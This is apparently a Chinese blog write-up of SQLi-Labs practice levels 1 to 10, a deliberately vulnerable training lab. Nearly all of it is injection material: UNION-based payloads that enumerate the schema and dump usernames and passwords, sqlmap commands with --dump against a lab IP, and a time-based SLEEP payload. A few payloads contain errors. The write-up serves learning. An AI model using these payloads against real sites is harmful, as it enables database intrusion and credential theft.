SQL注入|SQL注入 - SQLi-Labs靶场过关记录

Less-1 1、看报错类型,确定注入点

?id=1' order by 4--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、确定数据库
?id=-1' union select 1,2,3--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、查看数据库
?id=-1' union select 1,2,database(); --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、查看数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、提取security数据库中的users表的信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

6、提取users表中的用户名和密码,注入完成
?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片
Less - 2 1、直接测试报错
?id=1 order by 4--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、查询当前数据库名
?id=-1 union select 1,2,database(); --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、查看当前数据库所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、查看users表的结构信息
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

【SQL注入|SQL注入 - SQLi-Labs靶场过关记录】5、查询users表中的用户名和密码
?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 3 1、测试报错,查看注入点
?id=1") order by 4--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、查看当前用户、数据库版本、当前数据库
?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database()); --++


3、查看security库中的表
?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、查看users表的结构
?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users'; --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、查看users表中的username和password,完成注入
?id=1') union select 1,2,group_concat(username,"+",password) from security.users; --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 4 1、测试报错,查找注入点
?id=1") order by 4--++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、查看当前用户、数据库版本、当前数据库
?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database()); --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、查看security库中的表
?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security'; --++

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、查看users表的结构,语句与上一关差不多
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、查看users表中的username和password,完成注入
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 5 1、测试报错
?id=1' order by 3--+

不报错,但无回显
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

?id=1' order by 4--+

报错,确定存在注入点
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

?id=1' union select 1,2,3--+

无数据回显,可能需要盲注
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、用sqlmap跑一下,测试报错注入
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、查询所有数据库
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、查询当前数据库
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、查询当前数据库下的表
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

6、发现有一个名为users的表,查询users的所有字段名
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

7、发现username和password字段,查询这两个字段
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 6 1、测试报错
http://192.168.40.128:86/Less-6/?id=1" order by 3--+

没有报错,但是也没有数据回显
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

http://192.168.40.128:86/Less-6/?id=1" order by 4--+

报错,确定存在注入点
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、查询无回显,需要盲注
http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+


SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、使用sqlmap测试注入点
sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、使用sqlmap盲注查询所有数据库
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、sqlmap查询当前数据库
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

6、sqlmap查询当前数据库security下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

7、发现存在users表,查询该表中的所有字段
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

8、发现username和password字段,查询这两个字段的内容
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 7 1、测试报错

http://192.168.40.128:86/Less-7/?id=1')) order by 4--+


SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、sqlmap测试报错注入点
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、sqlmap查询当前数据库
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、sqlmap查询当前数据库下的所有表
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、发现存在users表,查询该表下所有字段名
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

6、发现字段username和password,查询内容
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 8 1、测试报错
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、直接sqlmap跑注入点
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、sqlmap查询当前用户
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、sqlmap查询所有数据库
SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、查询当前数据库
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

6、查询当前数据库下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

7、发现users表,查询表中所有字段
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 9 1、测试单双引号和字符均无报错,直接sqlmap测试
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

2、查询所有数据库
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

3、查询当前数据库与用户名
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

4、查询当前数据库下的所有表
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

5、发现users表,查询字段
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

6、发现username和password字段,查询内容
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Less - 10 1、使用sqlmap进行延时注入,level设置为3,可以测试双字符,线程设置为10
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq

2、sqlmap测试当前数据库
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

当前数据库名:security
3、sqlmap测试当前数据库下的表名
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片

当前数据库security下存在的表:emails、referes、uagents、users
4、直接爆数据
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3

SQL注入|SQL注入 - SQLi-Labs靶场过关记录
文章图片






    推荐阅读